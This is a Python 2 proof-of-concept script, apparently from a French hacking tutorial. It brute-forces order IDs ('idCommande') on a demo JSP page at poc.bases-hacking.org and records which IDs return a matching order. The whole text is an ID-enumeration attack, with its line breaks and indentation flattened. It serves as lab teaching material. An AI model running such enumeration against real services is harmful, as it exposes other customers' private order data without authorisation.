#!/usr/bin/python import httplib import re import socket import time def main(): match = re.compile("tails") refs = [] i = 0 x = time.time() while True: if i >= 30000: break conn = httplib.HTTPConnection("poc.bases-hacking.org:8080") print i for j in range(0,100): conn.request("GET", "/index.jsp?idCommande=" + str(i)) resp = conn.getresponse() data = resp.read() if match.search(data) != None: print "Found " + str(i) + " in " + str(time.time() - x) + " seconds" refs.append(i) i = i+1 conn.close() if refs != []: print "Commandes existantes : ", for ref in refs: print " " + str(ref), print else: print "Aucune commande valide" if __name__ == "__main__": main()